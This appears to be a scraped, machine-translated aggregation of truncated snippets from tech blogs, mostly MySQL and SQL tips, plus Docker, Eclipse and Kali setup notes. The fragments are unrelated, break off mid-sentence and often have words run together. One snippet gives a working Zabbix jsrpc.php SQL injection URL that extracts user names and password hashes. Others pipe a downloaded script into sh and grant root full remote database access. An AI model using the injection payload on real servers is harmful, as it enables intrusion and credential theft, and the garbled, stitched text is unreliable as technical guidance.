Tags: des style blog io ar color sp for onTable data such as: In code as the version of the Group field, the creation time to sort by the latestID NAME CODE Create_time1FFG ABC 001 2014-01-011GFFD KABC 001 2014-01-021HFD LABC 001 2014-01-031GHD ABC 002 2014-01-011FHD KABC 002 2014-01-061FFD LABC 002 2014-01-03SELECT * from ( SelectId,name,code,create_timerow_number () Over(PARTITION byCODEORDER byCreate_timeDESC) asRN fromsys_oa_form T)WHERERn= 1 andId!='0'The results are as follows1HFD LABC
Tags: technology sharing note INI shared access customer apt logs way installationAccess URL: http://dev.mysql.com/downloads/repo/apt/ http://dev.mysql.com/doc/mysql-apt-repo-quick-guide/en/ The first step , download Mysql-apt-config_0.8.0-1_all.deb, Visit URL http://dev.mysql.com/downloads/repo/apt/ Step Two , Step three , enter the configuration interface Fourth step , refresh apt source Fifth Step , install MySQL via apt Enter Y to continue, long download wait ...,-> Installation Wiza
Label:FREEBUF burst Zabbix SQL injection: http://www.freebuf.com/vuls/112197.htmlVulnerability testing:User name and password:
http://192.168.1.13/zabbix/jsrpc.php?type=9method=screen.gettimestamp=1471403798083pageFile=history.phpprofileIdx=web.item.graphprofileIdx2=(select (1) from users where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(alias,0x7e,passwd,0x7e) from users limit 1)),1,62)))a from information_schema.tables grou
Label:1. To optimize the query, avoid full-table scanning as far as possible, and first consider establishing an index on the columns involved in the Where and order by.2. Avoid null-valued fields in the WHERE clause, which will cause the engine to discard full-table scans using the index, such as:Select ID from t where num is nullYou can set the default value of 0 on NUM, make sure that the NUM column in the table does not have a null value, and then query:Select ID from t where num=03. Try to
1. See if the system is installedRpm-qa mariadb*2. Create the system user MySQL and specify its home directory as/app/mysqldb①getent passwd mysql②useradd-d/app/mysqldb-r-m-s/sbin/nologin mysql #-r create system user-M Create home directory-D Specify home directory3. Unzip the installation package to/usr/local①tar xvf mariadb-10.2.8-linux-x86_64.tar.gz-c/usr/local/##-c hi Specifies the destination directory for unpacking ②cd/usr/local/③ln-s mariadb-10.2.8-linux-x 86_64/mysql # #创建软连接4. Create a c
because mysql5.0 function does not work, decided to install the latest version of MySQL, the Internet to find some green version, the installation of 1067 errors, all kinds of online methods have tried, is not, waste time not to say, depressed dead, finally decided to official website, the official website has MSI installed version and green version, You must register to perform the following actions. Due to the previous green version of the old newsp
I was just trying to build a simple lamp environment, but I found that there were so many problems. (by default7#zbphp.com)A lot of places to install the MySQL hint is via yum one click Install. The shell command is as follows:Yum Install Mysqlyum install Mysql-serveryum install Mysql-develHowever, this command installs the MySQL version is very old , 5.1.0x version of, the official website MySQL already is the 5.6.x version. It's too old to remember the 5.1 version in 08.Adhere to the
I thought it was going to be a smooth finish.MySQL installation package 64-bit, 5.6.20http://cdn.mysql.com/Downloads/MySQL-5.6/MySQL-server-5.6.20-1.el6.x86_64.rpmhttp://cdn.mysql.com/Downloads/MySQL-5.6/MySQL-client-5.6.20-1.el6.x86_64.rpmhttp://cdn.mysql.com/Downloads/MySQL-5.6/MySQL-devel-5.6.20-1.el6.x86_64.rpmInstalling RPM-IVH mysql-server-5.6.20-1.el6.x86_64.rpmAnd then you're promptedFile/usr/mysql/czech/errmsg.sys from install of mysql-server-5.6.20-1.el6.x86_64 conflicts with file from
Description: JAVA springmvc+mybatis (Oracle and MySQL) HTML5 new tall background framework 1. Support App mobile app (Android and iOS) interface call (JSON interface can be interfaced with other programs) 2. New tall Changquan html5+css3.0 development interface, beautiful and fashionable, cutting-edge 3. One of the Oracle and MySQL versions 4. The framework is well-built, on the basis of a number of projects, battle-hardened, support large concurrency, stable program operation 5. Basic functions
Recently, Vistatweaker on its official homepage is updated to release the latest V0.5 edition. This is a foreign user to make the release of software, completely for Windows Vista system settings adjustment, optimization and management of the system-enhanced software.
Vistatweaker
Vistatweaker from Ajua Software is a free Vista system tuning Setup tool that helps users easily turn on or off the Winodws Vista features and features that are not comm
that you'll also need to add the following additional content in Eclipse.ini:
-xbootclasspath/a:lombok.jar
To tell the truth, I do not know that a: what meaning, but has been no problem, so I did not care too much. There was an error at the beginning of the article until the latest version of Eclipse was updated today. I try to take a: get rid of, and finally everything is OK. So the final additions to Eclipse.ini are as follows:
-javaagent:lombok
1: First execute docker-v, view current version
2: Execution: Rpm-qa | grep Docker to view existing Docker legacy
Have to execute the apt remove xxxxx command to remove it without proceeding to the next
(I will not have the old version, install the new version directly)
3: Download latest version from Source: Curl-fssl https://get.docker.com/| Sh
The final appearance of this screen indicates that the update is complete:
4: Restart Docker ser
.
Password reset, just shut down the MySQL service and execute it in turn:mysqld_safe --user=root --skip-networking mysql -u root -pSET PASSWORD = PASSWORD(‘your new password‘);ALTER USER ‘root‘@‘localhost‘ PASSWORD EXPIRE NEVER;flush privileges;quit;Note: The new password can not be too simple, otherwise it will prompt the password is too simple, preferably include uppercase and lowercase letters, numbers, special characters.Everything OKExecution: GRANT ALL PRIVILEGES ON *.* TO ‘root‘@‘%‘ ID
SelectDISTINCT A.[deptname],[num],a.deptid,[eatingdate] from[dbo]. [Iso_employeeeatingreport] awherea.IDinch(SelectMax (C.mainid) from[oa_eatingdetial] c inner JOIN [Iso_employeeeatingreport] D on D.id=C.mainidwhereConvertChar(7), C.detialdate, -) >=convert (Char(7), DateAdd (month,-1, GETDATE ()), -) and CONVERT (Char(7), C.detialdate, -) Char(7), GETDATE (), -) and Formeal='Open Meal'and isfinished=1and c.typeid=1GROUP by C.deptid)Group BY department, maximum limit for monthSQL Fetch current m
-10-04 22:23:00 'Mysql> Select From_unixtime (875996580) 0;19971004222300From_unixtime (Unix_timestamp,format)Returns the timestamp value as format stringMysql> Select From_unixtime (Unix_timestamp (), '%Y%d%M%h:%i:%s%x ');' 1997 23rd December 03:43:30 X 'Sec_to_time (seconds)A time value that returns the number of seconds in ' HH:MM:SS ' or HHMMSS format (a string or number based on the context in which the return value is located)Mysql> Select Sec_to_time (2378);' 00:39:38 'Mysql> Select Sec_t
Microsoft Open Source Combat Training camp internal 120 Lessons video learning Materials: From the Introduction to advanced development! Latest. NET 5.0 c#6 MVC6 WCF5 NoSQL Azure Development 120 lesson video old bear annual salary 420,000, 94 specialist gong less monthly salary 18900: http://pan.baidu.com/s/1qWsp5M0Http://yunpan.cn/cjkkn7gt9N6Zg Access Password Eff6"Microsoft c#6.0 language Oop oo Programming""ADO and SQL Server 2014 database Developm
Since the release of Kali 2.0, there have been frequent problems with installing VMware tools that did not succeed, or prompting the installation to succeed but still unable to drag, copy, and cut files.Today, the new computer installed system, re-download the latest version, Kali 2017.1 discovery is already Kali 3.Tested, the installation of Open-vm-tools replaces VMware Tools with the ability to "automatically adapt to the client" (that is, automati
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